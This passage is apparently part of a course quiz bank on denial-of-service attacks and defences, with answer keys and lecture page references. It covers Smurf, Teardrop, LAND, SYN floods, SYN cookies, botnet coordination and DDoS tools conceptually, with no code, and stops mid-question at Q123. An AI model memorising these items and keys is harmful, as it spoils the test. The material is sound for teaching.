Q41. [Single answer] At which point is a Smurf defense especially important?

- A. Router handling of directed broadcasts and spoofed traffic
- B. The SQL parser only
- C. An office macro dialog only
- D. The local password hash function only

Answer: A. Router handling of directed broadcasts and spoofed traffic

Why: Router-level behavior can prevent broadcast amplification.

Lecture source: p. 31

Q42. [Single answer] What is the core idea of a Teardrop attack?

- A. Send many valid passwords to one account
- B. Use a reverse proxy to distribute traffic
- C. Fill a DNS cache with signed records
- D. Send overlapping fragments that vulnerable systems fail to reconstruct safely

Answer: D. Send overlapping fragments that vulnerable systems fail to reconstruct safely

Why: Teardrop abuses fragment-overlap handling.

Lecture source: p. 32

Q43. [Scenario] A packet reassembly engine receives TCP fragments with inconsistent overlap and the host restarts. Which classic attack best matches?

- A. Smurf attack
- B. Slowloris
- C. Teardrop fragmentation attack
- D. SYN flood

Answer: C. Teardrop fragmentation attack

Why: Overlapping fragments can trigger failures in vulnerable reassembly implementations.

Lecture source: p. 32

Q44. [Single answer] What makes a LAND attack distinctive?

- A. The attacker uses oversized fragments only
- B. The attacker crafts packets with identical spoofed source and destination IP addresses and ports
- C. The attacker uses a dictionary against many accounts
- D. The attacker sends broadcast ICMP replies from a router

Answer: B. The attacker crafts packets with identical spoofed source and destination IP addresses and ports

Why: The vulnerable system can end up replying to itself in a loop.

Lecture source: p. 33

Q45. [Scenario] A target repeatedly processes packets that appear to come from and return to the same IP address and port, producing a loop. Which attack is most likely?

- A. LAND attack
- B. Ping of Death
- C. SYN cookie validation
- D. Web-content enumeration

Answer: A. LAND attack

Why: LAND uses identical source and destination endpoint information.

Lecture source: p. 33

Q46. [Comparison] Which pairing correctly contrasts Smurf and Teardrop attacks?

- A. Smurf: incomplete TCP backlog; Teardrop: password guessing
- B. Smurf: partial HTTP sockets; Teardrop: SQL tautology
- C. Smurf: local loop; Teardrop: reverse proxy failover
- D. Smurf: broadcast ICMP amplification; Teardrop: overlapping fragment reassembly failure

Answer: D. Smurf: broadcast ICMP amplification; Teardrop: overlapping fragment reassembly failure

Why: The mechanisms are distinct and require different mitigations.

Lecture source: pp. 31-32

Q47. [Comparison] Which pairing correctly contrasts SYN flooding and LAND attacks?

- A. SYN flood: ICMP broadcast amplification; LAND: overlapping fragments
- B. SYN flood: heuristic antivirus scan; LAND: prepared statement binding
- C. SYN flood: incomplete handshake exhaustion; LAND: self-referential spoofed endpoint loop
- D. SYN flood: database destruction; LAND: macro execution

Answer: C. SYN flood: incomplete handshake exhaustion; LAND: self-referential spoofed endpoint loop

Why: Recognizing the bottleneck helps select the right defense.

Lecture source: pp. 30, 33

Q48. [Select all that apply] Which attacks rely on malformed or unusual packet construction rather than ordinary high request volume alone?

- A. LAND attack
- B. Smurf attack using a spoofed source and broadcast request
- C. A normal authenticated user reading one page
- D. Ping of Death
- E. Teardrop fragmentation attack

Answer: A, B, D, E. Ping of Death; Teardrop fragmentation attack; LAND attack; Smurf attack using a spoofed source and broadcast request

Why: These classic mechanisms exploit packet structure, spoofing, broadcasts, or reassembly behavior.

Lecture source: pp. 29-33

Q49. [EXCEPT / NOT] All of the following statements about SYN flooding are correct EXCEPT:

- A. The attacker reliably completes every TCP handshake before sending the next SYN
- B. The server may wait for a final ACK that never arrives
- C. Half-open connection state can consume a finite backlog
- D. Legitimate new connection attempts may fail

Answer: A. The attacker reliably completes every TCP handshake before sending the next SYN

Why: The attack depends on not completing the handshake.

Lecture source: p. 30

Q50. [EXCEPT / NOT] All of the following are characteristic of Smurf attacks EXCEPT:

- A. A spoofed victim IP address
- B. Broadcast ICMP echo requests
- C. Many intermediaries replying toward the victim
- D. Overlapping fragments are the defining mechanism

Answer: D. Overlapping fragments are the defining mechanism

Why: Fragment overlap belongs to Teardrop, not Smurf.

Lecture source: pp. 31-32

Q51. [True / False] Teardrop and Ping of Death both illustrate why robust fragment handling and patching matter.

- A. Only for encrypted traffic
- B. Only when every host is offline
- C. True
- D. False

Answer: C. True

Why: Both involve packet handling defects, although their mechanisms differ.

Lecture source: pp. 29, 32

Q52. [True / False] A SYN flood is primarily a confidentiality attack because it reveals stored passwords.

- A. Only when every host is offline
- B. False
- C. True
- D. Only for encrypted traffic

Answer: B. False

Why: It primarily threatens availability by exhausting connection-handling capacity.

Lecture source: p. 30

Q53. [Assertion-reason] Assertion: A Smurf attack can amplify traffic toward a victim.

Reason: Intermediary hosts answer a broadcast ICMP request whose source address has been spoofed as the victim.

- A. Both statements are true, and the reason correctly explains the assertion
- B. Both statements are true, but the reason does not correctly explain the assertion
- C. The assertion is true, but the reason is false
- D. The assertion is false, but the reason is true

Answer: A. Both statements are true, and the reason correctly explains the assertion

Why: Many replies can be directed at one spoofed address.

Lecture source: p. 31

Q54. [Assertion-reason] Assertion: Patching matters even for attacks that seem old.

Reason: Known packet-processing weaknesses can reappear or remain exploitable on unpatched systems.

- A. Both statements are true, and the reason correctly explains the assertion
- B. Both statements are true, but the reason does not correctly explain the assertion
- C. The assertion is true, but the reason is false
- D. The assertion is false, but the reason is true

Answer: A. Both statements are true, and the reason correctly explains the assertion

Why: Historical examples remain useful security lessons.

Lecture source: pp. 29, 33

Q55. [Mini case study] A monitoring system observes a rapidly growing table of half-open TCP connections. Which diagnosis is most appropriate?

- A. Teardrop fragmentation
- B. LAND attack
- C. SYN flood
- D. Smurf attack

Answer: C. SYN flood

Why: Half-open TCP state is the hallmark of a SYN flood.

Lecture source: p. 30

Q56. [Mini case study] A packet trace shows one broadcast echo request followed by many echo replies converging on a third-party address. Which diagnosis is most appropriate?

- A. LAND attack
- B. Smurf attack
- C. Slowloris
- D. Ping of Death

Answer: B. Smurf attack

Why: The convergence of broadcast replies on a spoofed victim indicates Smurf amplification.

Lecture source: p. 31

Q57. [Mini case study] A crash occurs during fragment reassembly because fragment offsets overlap unexpectedly. Which diagnosis is most appropriate?

- A. Teardrop fragmentation attack
- B. SYN flood
- C. Password spraying
- D. SYN cookie

Answer: A. Teardrop fragmentation attack

Why: Teardrop exploits overlapping fragments.

Lecture source: p. 32

Q58. [Mini case study] A packet has the same source and destination endpoint values, and a vulnerable service repeatedly responds to itself. Which diagnosis is most appropriate?

- A. Smurf attack
- B. Reverse-proxy failover
- C. Dictionary attack
- D. LAND attack

Answer: D. LAND attack

Why: The identical endpoint loop is characteristic of LAND.

Lecture source: p. 33

Q59. [Mini case study] A vulnerable network stack crashes after reassembling an oversized fragmented packet. Which diagnosis is most appropriate?

- A. Hydra login guessing
- B. RST cookie
- C. Ping of Death
- D. Slowloris

Answer: C. Ping of Death

Why: Ping of Death historically abused oversized reassembly.

Lecture source: p. 29

4. SYN-flood defenses and bottleneck-aware mitigation

15 questions. Answers appear immediately below each item.

Q60. [Single answer] What is the purpose of a SYN cookie?

- A. Force every router to accept broadcasts
- B. Verify a client response while encoding relevant connection information in the sequence number
- C. Encrypt every application payload
- D. Store a password dictionary in RAM

Answer: B. Verify a client response while encoding relevant connection information in the sequence number

Why: SYN cookies reduce the need to allocate connection state before the client proves it can respond.

Lecture source: p. 35

Q61. [Scenario] A server wants to avoid reserving scarce handshake state until a client demonstrates that it received the SYN-ACK. Which control best fits?

- A. SYN cookies
- B. A SQL batch statement
- C. A macro-virus scanner only
- D. A host file download

Answer: A. SYN cookies

Why: SYN cookies help resist backlog exhaustion.

Lecture source: p. 35

Q62. [Single answer] How does an RST cookie help validate a connection attempt?

- A. The server accepts every SYN without checking
- B. The server broadcasts the victim address to all hosts
- C. The server permanently disables TCP
- D. The server sends an intentionally unsuitable SYN-ACK so a legitimate client returns an RST, indicating interest in the connection

Answer: D. The server sends an intentionally unsuitable SYN-ACK so a legitimate client returns an RST, indicating interest in the connection

Why: The return signal helps distinguish reachable clients from spoofed or uninterested sources.

Lecture source: p. 35

Q63. [Scenario] A mitigation forces a legitimate client to respond with a reset before the server treats the connection attempt as credible. Which technique is being used?

- A. Teardrop reassembly
- B. Password spraying
- C. RST cookie
- D. SYN cookie only

Answer: C. RST cookie

Why: RST-cookie validation uses a deliberately bad SYN-ACK and observes the client reset.

Lecture source: p. 35

Q64. [Single answer] Why does merely increasing the handshake buffer not fully solve SYN flooding?

- A. It prevents all Layer 7 attacks automatically
- B. It delays exhaustion but does not remove the finite bottleneck
- C. It guarantees the attacker can never send another packet
- D. It converts the service into a reverse proxy

Answer: B. It delays exhaustion but does not remove the finite bottleneck

Why: More capacity can buy time but the attacker may scale the flood.

Lecture source: p. 35

Q65. [Single answer] What is the effect of reducing the timeout for incomplete handshakes?

- A. Half-open state is released sooner, although the underlying bottleneck still exists
- B. All clients become administrators
- C. The server stops using TCP permanently
- D. Every HTTP request becomes encrypted

Answer: A. Half-open state is released sooner, although the underlying bottleneck still exists

Why: Timeout tuning reduces persistence of incomplete state.

Lecture source: p. 35

Q66. [Select all that apply] Which measures can reduce the impact of SYN flooding?

- A. Disabling every software update
- B. SYN cookies
- C. RST cookies
- D. Reducing timeout for incomplete handshakes
- E. Increasing backlog capacity as a limited mitigation
- F. Monitoring half-open connection patterns

Answer: B, C, D, E, F. SYN cookies; RST cookies; Reducing timeout for incomplete handshakes; Increasing backlog capacity as a limited mitigation; Monitoring half-open connection patterns

Why: Validation and careful tuning can improve resilience, although capacity tuning alone is incomplete.

Lecture source: p. 35

Q67. [EXCEPT / NOT] All of the following statements about stack tuning are reasonable EXCEPT:

- A. Increasing the buffer may delay exhaustion
- B. Tuning should be combined with stronger validation and monitoring
- C. Increasing a finite buffer permanently eliminates every possible SYN flood
- D. Reducing the timeout can release half-open state sooner

Answer: C. Increasing a finite buffer permanently eliminates every possible SYN flood

Why: Capacity changes alone do not remove the fundamental bottleneck.

Lecture source: p. 35

Q68. [Comparison] Which comparison best distinguishes SYN cookies from backlog enlargement?

- A. SYN cookies are only for SQL injection, while larger buffers are only for phishing
- B. SYN cookies validate client reachability while reducing premature state allocation; larger buffers mainly postpone exhaustion
- C. SYN cookies and larger buffers are identical controls
- D. Larger buffers eliminate every DDoS technique, while SYN cookies only update antivirus

Answer: B. SYN cookies validate client reachability while reducing premature state allocation; larger buffers mainly postpone exhaustion

Why: The controls address the problem at different depths.

Lecture source: p. 35

Q69. [True / False] Stack tuning can improve resilience without completely fixing the underlying resource limit.

- A. True
- B. False
- C. Only for encrypted traffic
- D. Only when every host is offline

Answer: A. True

Why: Timeout and buffer changes delay or reduce the effect but do not make capacity infinite.

Lecture source: p. 35

Q70. [True / False] SYN cookies are primarily designed to stop SQL tautology attacks.

- A. True
- B. Only for encrypted traffic
- C. Only when every host is offline
- D. False

Answer: D. False

Why: They address TCP handshake-state exhaustion.

Lecture source: p. 35

Q71. [Assertion-reason] Assertion: A backlog-size increase should not be the only SYN-flood defense.

Reason: A larger finite queue can still be exhausted by a sufficiently large or sustained flood.

- A. Both statements are true, and the reason correctly explains the assertion
- B. Both statements are true, but the reason does not correctly explain the assertion
- C. The assertion is true, but the reason is false
- D. The assertion is false, but the reason is true

Answer: A. Both statements are true, and the reason correctly explains the assertion

Why: Layered mitigation is preferable to relying on one capacity increase.

Lecture source: p. 35

Q72. [Defensive design] A server is experiencing a wave of half-open connections. Which combination is most appropriate?

- A. Only change database table names
- B. Use connection validation such as SYN cookies, tune timeouts carefully, and monitor backlog behavior
- C. Disable all logs and accept unlimited half-open state
- D. Expose more internal services to the Internet

Answer: B. Use connection validation such as SYN cookies, tune timeouts carefully, and monitor backlog behavior

Why: The defense should address state allocation and visibility.

Lecture source: p. 35

Q73. [Troubleshooting] After increasing a TCP backlog, the service survives longer but still fails under sustained flooding. What is the best explanation?

- A. The change postponed saturation but did not remove the bottleneck
- B. SYN packets no longer exist
- C. The firewall converted the attack into spyware
- D. The server can now process unlimited traffic

Answer: A. The change postponed saturation but did not remove the bottleneck

Why: Capacity tuning buys time but is not a complete solution.

Lecture source: p. 35

Q74. [Mini case study] A team deploys SYN cookies and sees fewer failures from spoofed handshake floods, but the application still collapses under expensive HTTP requests. What should they conclude?

- A. SYN cookies are useless in every case
- B. HTTP requests can never cause DoS
- C. The application should disable parameter binding
- D. The transport-layer mitigation works for one bottleneck, but application-layer protection is still needed

Answer: D. The transport-layer mitigation works for one bottleneck, but application-layer protection is still needed

Why: DoS defenses must match the stressed resource and layer.

Lecture source: pp. 27, 35, 46

5. Layered DoS mitigation, reverse proxies, and incident response

19 questions. Answers appear immediately below each item.

Q75. [Single answer] Which control can block some simple flood patterns before they reach a service?

- A. A macro in an office document
- B. A plaintext password file
- C. Firewall filtering rules
- D. A public database error page

Answer: C. Firewall filtering rules

Why: Filtering ICMP, UDP, or other recognizable patterns can reduce some floods.

Lecture source: p. 36

Q76. [Single answer] How can an IDS or IPS contribute to DoS mitigation?

- A. Convert every HTTP request into a DNS query
- B. Detect suspicious patterns and trigger blocking or protective actions
- C. Guarantee infinite bandwidth
- D. Replace every operating-system patch

Answer: B. Detect suspicious patterns and trigger blocking or protective actions

Why: Detection and prevention systems can identify and react to attacks.

Lecture source: p. 36

Q77. [Single answer] Why do current patches and antivirus updates matter in DDoS defense?

- A. They reduce the chance that local machines become compromised botnet participants and remove known weaknesses
- B. They guarantee that no service will ever be overloaded
- C. They make every packet anonymous
- D. They eliminate the need for monitoring

Answer: A. They reduce the chance that local machines become compromised botnet participants and remove known weaknesses

Why: Updated systems are less likely to become zombies and are safer against known flaws.

Lecture source: p. 36

Q78. [Single answer] What role can reverse proxies play during a DDoS campaign?

- A. Store plaintext passwords for all users
- B. Disable all geographic redundancy
- C. Replace every firewall rule with a database query
- D. Absorb, filter, or reroute traffic before it reaches the origin service

Answer: D. Absorb, filter, or reroute traffic before it reaches the origin service

Why: A proxy frontend can shield the origin and distribute load.

Lecture source: p. 37

Q79. [Scenario] A company routes traffic through several geographically distributed proxy frontends. If one frontend is attacked, others can continue serving users. Which resilience property is being improved?

- A. Macro-virus detection only
- B. SQL schema normalization only
- C. Redundancy and failover
- D. Password entropy only

Answer: C. Redundancy and failover

Why: Distributed frontends prevent a single proxy from becoming the only point of failure.

Lecture source: p. 37

Q80. [Single answer] Why might an organization use a third-party DDoS-protection service?

- A. They remove every need for backups
- B. Such services can provide distributed reverse proxies and high-capacity infrastructure
- C. They make authorization unnecessary
- D. They guarantee that all users have strong passwords

Answer: B. Such services can provide distributed reverse proxies and high-capacity infrastructure

Why: Large providers can absorb or reroute traffic across multiple locations.

Lecture source: p. 37

Q81. [Select all that apply] Which measures belong in a layered DoS-mitigation strategy?

- A. Patching and endpoint hygiene
- B. Reverse proxies and distributed frontends
- C. Service-level monitoring and capacity planning
- D. Ignoring logs during an incident
- E. Firewall rules for recognizable traffic patterns
- F. IDS or IPS monitoring and reaction

Answer: A, B, C, E, F. Firewall rules for recognizable traffic patterns; IDS or IPS monitoring and reaction; Patching and endpoint hygiene; Reverse proxies and distributed frontends; Service-level monitoring and capacity planning

Why: DoS mitigation should combine network, system, and service-layer controls.

Lecture source: pp. 35-39, 48

Q82. [EXCEPT / NOT] All of the following can improve DoS resilience EXCEPT:

- A. Distributing proxy frontends
- B. Filtering uniform attack patterns
- C. Keeping systems patched
- D. Depending on a single exposed origin server with no monitoring

Answer: D. Depending on a single exposed origin server with no monitoring

Why: Single points of failure and absent monitoring weaken resilience.

Lecture source: pp. 36-39

Q83. [Scenario] A uniform UDP flood targets a service that does not require UDP exposure. Which immediate defensive action is most appropriate?

- A. Publish internal logs to the Internet
- B. Turn off every reverse proxy
- C. Apply a firewall rule to block the unnecessary UDP traffic
- D. Disable all authentication

Answer: C. Apply a firewall rule to block the unnecessary UDP traffic

Why: Unneeded traffic can be filtered at the perimeter.

Lecture source: p. 36

Q84. [Scenario] An IPS observes a strong attack pattern and updates the firewall to block access to the attacked service temporarily. Which concept is illustrated?

- A. Macro execution
- B. Reactive mitigation
- C. Passive-only logging
- D. Prepared statement binding

Answer: B. Reactive mitigation

Why: An IPS can take action based on analytics.

Lecture source: p. 36

Q85. [Scenario] A company patches servers but leaves thousands of unmanaged devices with default credentials. Why can DDoS risk remain high?

- A. The unmanaged devices may still be recruited into botnets
- B. Patching servers converts every device into a proxy
- C. Default credentials improve authentication
- D. Botnets require only SQL tables

Answer: A. The unmanaged devices may still be recruited into botnets

Why: Endpoint hygiene must include potential botnet participants.

Lecture source: pp. 36, 55-56

Q86. [Comparison] Which comparison correctly distinguishes firewall filtering from reverse-proxy protection?

- A. Firewalls always provide infinite capacity, while reverse proxies only store logs
- B. Reverse proxies replace password policies, while firewalls replace patches
- C. Both controls are identical to anomaly-free SQL queries
- D. Firewall rules can block recognizable traffic patterns, while reverse-proxy services can absorb and redistribute large volumes

Answer: D. Firewall rules can block recognizable traffic patterns, while reverse-proxy services can absorb and redistribute large volumes

Why: The controls complement each other.

Lecture source: pp. 36-37

Q87. [True / False] A third-party reverse-proxy service can improve availability by rerouting traffic through multiple locations.

- A. Only for encrypted traffic
- B. Only when every host is offline
- C. True
- D. False

Answer: C. True

Why: Distributed frontends support failover and filtering.

Lecture source: p. 37

Q88. [True / False] Keeping systems patched has no relationship to DDoS defense.

- A. Only when every host is offline
- B. False
- C. True
- D. Only for encrypted traffic

Answer: B. False

Why: Patching can eliminate exploitable flaws and reduce botnet recruitment.

Lecture source: pp. 29, 36

Q89. [Assertion-reason] Assertion: DDoS mitigation should be layered.

Reason: A single control may help against one attack pattern while leaving other bottlenecks exposed.

- A. Both statements are true, and the reason correctly explains the assertion
- B. Both statements are true, but the reason does not correctly explain the assertion
- C. The assertion is true, but the reason is false
- D. The assertion is false, but the reason is true

Answer: A. Both statements are true, and the reason correctly explains the assertion

Why: Network, transport, application, and endpoint controls serve different roles.

Lecture source: pp. 35-39, 48

Q90. [Defensive design] A web service has only one public IP and one origin server. Which architectural improvement most directly reduces exposure to volumetric DDoS?

- A. Remove monitoring agents
- B. Give every user administrative access
- C. Disable patching during peak traffic
- D. Place distributed reverse-proxy frontends in front of the origin

Answer: D. Place distributed reverse-proxy frontends in front of the origin

Why: Distributed proxies can absorb, filter, and reroute traffic.

Lecture source: p. 37

Q91. [Defensive design] An organization wants to reduce the chance that its own devices become DDoS agents. Which control set is most suitable?

- A. Disable logs to hide noise
- B. Permit all inbound management services
- C. Patch systems, update security tools, remove default credentials, and monitor compromise indicators
- D. Increase public database error detail

Answer: C. Patch systems, update security tools, remove default credentials, and monitor compromise indicators

Why: Preventing compromise reduces botnet recruitment.

Lecture source: pp. 36, 55-56

Q92. [Mini case study] During an ongoing flood, the team discovers a simple repeated signature that is safe to block. What action provides the fastest relief?

- A. Expose the origin server directly
- B. Deploy a carefully scoped filtering rule while monitoring for side effects
- C. Wait until the attack ends without collecting telemetry
- D. Disable all legitimate traffic permanently

Answer: B. Deploy a carefully scoped filtering rule while monitoring for side effects

Why: Simple uniform patterns can often be filtered quickly, but changes should be controlled.

Lecture source: p. 39

Q93. [Troubleshooting] A reverse proxy is deployed but the origin server remains directly reachable through an old DNS record. What is the main concern?

- A. Attackers may bypass the proxy and target the origin directly
- B. The proxy will automatically update every password
- C. The origin can no longer log events
- D. SYN cookies become SQL queries

Answer: A. Attackers may bypass the proxy and target the origin directly

Why: Origin exposure can undermine the protective frontend.

Lecture source: p. 37

6. DDoS campaign structure, C&C; weaknesses, and traceability

15 questions. Answers appear immediately below each item.

Q94. [Single answer] Why must many flooding attacks be sustained?

- A. The attack permanently changes every password immediately
- B. The firewall deletes the database after one request
- C. Every flood is stored forever in RAM
- D. The service may recover once the pressure on the bottleneck stops

Answer: D. The service may recover once the pressure on the bottleneck stops

Why: Availability often returns when resource exhaustion subsides.

Lecture source: p. 39

Q95. [Single answer] Why can taking down a command-and-control server reduce a DDoS campaign?

- A. It converts a Smurf attack into a prepared statement
- B. It removes every software bug from the Internet
- C. It can disrupt the mechanism coordinating compromised agents
- D. It increases the victim bandwidth automatically

Answer: C. It can disrupt the mechanism coordinating compromised agents

Why: Botnets often rely on coordination infrastructure.

Lecture source: p. 39

Q96. [Single answer] How does disinfecting compromised machines help against DDoS?

- A. It forces routers to accept broadcasts
- B. It removes agents that could participate in the flood
- C. It increases the number of attack sources
- D. It disables password hashing

Answer: B. It removes agents that could participate in the flood

Why: Fewer compromised systems means less botnet capacity.

Lecture source: p. 39

Q97. [Single answer] Why might a compromised C&C server create risk for an attacker?

- A. Investigators may use it to identify infrastructure or participants
- B. It guarantees perfect anonymity
- C. It erases all packet traces
- D. It converts the attack into a VPN

Answer: A. Investigators may use it to identify infrastructure or participants

Why: Control infrastructure can become an investigative lead.

Lecture source: p. 39

Q98. [Scenario] Investigators seize infrastructure used to coordinate thousands of agents. Traffic from the agents drops sharply afterward. What role did the seized system most likely play?

- A. Prepared-statement execution
- B. Host-based password hashing
- C. Antivirus signature distribution
- D. Command-and-control coordination

Answer: D. Command-and-control coordination

Why: C&C servers direct botnet behavior.

Lecture source: p. 39

Q99. [Single answer] Why can a simple DoS attack be constrained by the attacker network connection?

- A. Only HTTP requests consume bandwidth
- B. Spoofing guarantees unlimited throughput
- C. The attacker may hit its own bandwidth bottleneck before overwhelming the target
- D. Single-source traffic always has infinite bandwidth

Answer: C. The attacker may hit its own bandwidth bottleneck before overwhelming the target

Why: A single source has finite capacity.

Lecture source: p. 39

Q100. [Single answer] Why are botnets valuable for DDoS operators?

- A. They prevent all packet tracing
- B. They aggregate traffic and requests from many compromised machines
- C. They automatically create prepared SQL statements
- D. They guarantee that all traffic is encrypted

Answer: B. They aggregate traffic and requests from many compromised machines

Why: Distribution increases scale and complicates filtering.

Lecture source: pp. 39, 44-45

Q101. [Select all that apply] Which actions can weaken a botnet-driven DDoS campaign?

- A. Take down C&C infrastructure
- B. Disinfect compromised agents
- C. Trace recurring packet sources and patterns
- D. Apply carefully scoped firewall rules against uniform traffic
- E. Publish administrative passwords

Answer: A, B, C, D. Take down C&C infrastructure; Disinfect compromised agents; Trace recurring packet sources and patterns; Apply carefully scoped firewall rules against uniform traffic

Why: Campaign disruption can target coordination, agents, identifiable traffic, and recognizable patterns.

Lecture source: p. 39

Q102. [EXCEPT / NOT] All of the following may be weaknesses of a DDoS campaign EXCEPT:

- A. The flood may need to be sustained
- B. C&C infrastructure can be disrupted
- C. Uniform attack patterns may be filterable
- D. The attacker automatically gains unlimited resources without needing agents or infrastructure

Answer: D. The attacker automatically gains unlimited resources without needing agents or infrastructure

Why: DDoS still depends on finite infrastructure and coordination.

Lecture source: p. 39

Q103. [Comparison] Which comparison best distinguishes botnet-driven DDoS from a single-source flood?

- A. A botnet cannot use C&C, while a single source always uses encrypted control traffic
- B. There is no operational difference between distributed and single-source attacks
- C. A botnet distributes attack capacity across many agents, while a simple single-source attack may be limited by its own uplink
- D. A botnet is only a database table, while a single source is always a proxy

Answer: C. A botnet distributes attack capacity across many agents, while a simple single-source attack may be limited by its own uplink

Why: Distribution changes scale and filtering difficulty.

Lecture source: p. 39

Q104. [True / False] Uniform attack patterns may be easier to filter than highly variable traffic.

- A. Only when every host is offline
- B. True
- C. False
- D. Only for encrypted traffic

Answer: B. True

Why: Simple firewall rules can help when the malicious pattern is clear.

Lecture source: p. 39

Q105. [True / False] A DDoS attacker is always impossible to investigate because packets can never be tracked.

- A. False
- B. True
- C. Only for encrypted traffic
- D. Only when every host is offline

Answer: A. False

Why: Tracing traffic or seizing C&C infrastructure may create investigative opportunities.

Lecture source: p. 39

Q106. [Assertion-reason] Assertion: C&C takedown can be strategically valuable.

Reason: Disrupting coordination can prevent agents from receiving or executing attack instructions.

- A. Both statements are true, and the reason correctly explains the assertion
- B. Both statements are true, but the reason does not correctly explain the assertion
- C. The assertion is true, but the reason is false
- D. The assertion is false, but the reason is true

Answer: A. Both statements are true, and the reason correctly explains the assertion

Why: Botnets depend on control paths.

Lecture source: p. 39

Q107. [Mini case study] A flood continues despite blocking one source IP, and telemetry shows similar traffic from many unrelated networks. What is the best explanation?

- A. The firewall is performing prepared statements
- B. The traffic must be harmless because sources differ
- C. The campaign is distributed across multiple agents
- D. The victim has executed a macro virus only

Answer: C. The campaign is distributed across multiple agents

Why: DDoS traffic commonly arrives from many participating sources.

Lecture source: pp. 39, 44-45

Q108. [Defensive design] Which response plan best addresses a botnet campaign rather than only the current traffic peak?

- A. Expose more management ports
- B. Combine filtering with C&C disruption, agent cleanup, and endpoint-hardening efforts
- C. Only increase one buffer and stop monitoring
- D. Delete incident logs immediately

Answer: B. Combine filtering with C&C disruption, agent cleanup, and endpoint-hardening efforts

Why: Long-term mitigation targets the infrastructure that produces the flood.

Lecture source: pp. 36, 39

7. DDoS tool concepts and safe recognition

12 questions. Answers appear immediately below each item.

Q109. [Single answer] What is the most important operational limitation of a basic LOIC-style flood from a single host?

- A. The source may be traceable and the single host has limited capacity
- B. It always spoofs the source IP perfectly
- C. It automatically creates an encrypted botnet
- D. It can only run inside a database

Answer: A. The source may be traceable and the single host has limited capacity

Why: The lecture emphasizes absent IP spoofing and the need for many participants for DDoS-scale effects.

Lecture source: pp. 41-42

Q110. [Scenario] An authorized stress-test tool generates TCP, UDP, ICMP, or HTTP floods from a visible source address. Which limitation should the test team account for?

- A. The tool guarantees anonymity
- B. The tool cannot generate any network traffic
- C. The tool automatically patches the target
- D. The test source is traceable and may not represent a distributed campaign

Answer: D. The test source is traceable and may not represent a distributed campaign

Why: A single visible source does not model every real DDoS condition.

Lecture source: pp. 41-42

Q111. [Single answer] Which attack pattern is most closely associated with a HOIC-style tool?

- A. Macro-virus propagation
- B. DNSSEC validation
- C. HTTP flooding
- D. SQL batch injection

Answer: C. HTTP flooding

Why: HOIC is discussed as an HTTP-flood tool.

Lecture source: p. 43

Q112. [Single answer] Which description best fits TFN or TFN2K?

- A. A host-based firewall only
- B. A coordinated DDoS toolkit in which a master controls flooding agents
- C. A prepared-statement library
- D. A single-user password manager

Answer: B. A coordinated DDoS toolkit in which a master controls flooding agents

Why: The master-agent model provides distributed attack coordination.

Lecture source: p. 44

Q113. [Single answer] Which capability makes TFN2K-style coordination harder to inspect?

- A. Control communication can be encrypted or hidden in other traffic
- B. Every agent uses a public password list only
- C. The master must reveal its IP in plaintext
- D. The toolkit disables all network traffic

Answer: A. Control communication can be encrypted or hidden in other traffic

Why: Concealed or encrypted C&C complicates detection.

Lecture source: p. 44

Q114. [Single answer] Which description best characterizes Stacheldraht in conceptual terms?

- A. A database query parser
- B. A password-hashing standard
- C. A virtual private network client
- D. A DDoS toolkit combining multiple flood methods, spoofing, and encrypted coordination

Answer: D. A DDoS toolkit combining multiple flood methods, spoofing, and encrypted coordination

Why: It combines features from earlier distributed-attack toolkits.

Lecture source: p. 45

Q115. [Select all that apply] Which behaviors may appear in a multi-method DDoS toolkit?

- A. SYN flooding
- B. UDP flooding
- C. ICMP flooding
- D. Smurf-style amplification
- E. Spoofing or concealed coordination
- F. Prepared statements for database safety

Answer: A, B, C, D, E. SYN flooding; UDP flooding; ICMP flooding; Smurf-style amplification; Spoofing or concealed coordination

Why: Distributed toolkits may support several network-flooding techniques and C&C features.

Lecture source: pp. 44-45

Q116. [EXCEPT / NOT] All of the following are relevant when evaluating an authorized stress-test tool EXCEPT:

- A. Whether the generated protocols match the scoped test plan
- B. Assuming legal authorization is unnecessary because the tool has a graphical interface
- C. Whether traffic sources are identifiable
- D. Whether the test models one source or many

Answer: B. Assuming legal authorization is unnecessary because the tool has a graphical interface

Why: Tools must be used only with explicit authorization and scope.

Lecture source: pp. 40-43

Q117. [Comparison] Which comparison correctly distinguishes a single-host stress test from a coordinated agent network?

- A. A single-host LOIC-style test may be traceable and capacity-limited; a coordinated agent network can create a larger distributed flood
- B. A single-host tool always provides stronger anonymity than a botnet
- C. A botnet is identical to a prepared SQL statement
- D. Coordinated agents reduce the amount of traffic reaching a target

Answer: A. A single-host LOIC-style test may be traceable and capacity-limited; a coordinated agent network can create a larger distributed flood

Why: Multiple agents change scale and attribution characteristics.

Lecture source: pp. 41-45

Q118. [True / False] The presence of an easy-to-use interface does not make a DoS tool safe to use against systems without authorization.

- A. False
- B. Only for encrypted traffic
- C. Only when every host is offline
- D. True

Answer: D. True

Why: Authorization and scope remain essential regardless of usability.

Lecture source: pp. 40-43

Q119. [Assertion-reason] Assertion: A multi-agent attack can be harder to mitigate than a single-source flood. Reason: Blocking one source does not stop traffic arriving from many other participating agents.

- A. Both statements are true, and the reason correctly explains the assertion
- B. Both statements are true, but the reason does not correctly explain the assertion
- C. The assertion is true, but the reason is false
- D. The assertion is false, but the reason is true

Answer: A. Both statements are true, and the reason correctly explains the assertion

Why: Distribution complicates filtering.

Lecture source: pp. 39, 44-45

Q120. [Mini case study] A network trace shows agents receiving concealed instructions and then launching a mixture of SYN, UDP, and amplification traffic. Which architecture is most plausible?

- A. A macro document scanner
- B. A coordinated DDoS toolkit with C&C and multiple flooding methods
- C. A safe prepared-statement API
- D. A local password hash verifier only

Answer: B. A coordinated DDoS toolkit with C&C and multiple flooding methods

Why: The pattern resembles master-agent DDoS coordination.

Lecture source: pp. 44-45

8. Slow application-layer DoS and partial-request exhaustion

12 questions. Answers appear immediately below each item.

Q121. [Single answer] What resource does a Slowloris-style attack try to exhaust?

- A. Web-server sockets or connection-handling capacity
- B. Database encryption keys
- C. Antivirus signature files
- D. Router firmware update packages

Answer: A. Web-server sockets or connection-handling capacity

Why: The attacker keeps many connections open with incomplete requests.

Lecture source: p. 46

Q122. [Single answer] Why can a Slowloris-style attack be effective with relatively low bandwidth?

- A. It sends oversized ICMP fragments at maximum line rate
- B. It uses broadcast amplification from every router
- C. It brute-forces every password simultaneously
- D. It consumes scarce server connection resources by keeping partial requests open

Answer: D. It consumes scarce server connection resources by keeping partial requests open

Why: The attack targets connection availability rather than raw throughput.

Lecture source: p. 46

Q123. [Scenario] A web server has many client connections that remain open for a long time while sending incomplete HTTP headers. Which attack is most plausible?

- A. LAND attack
- B. Ping of Death
- C. Slowloris-style application-layer DoS
- D. Smurf attack

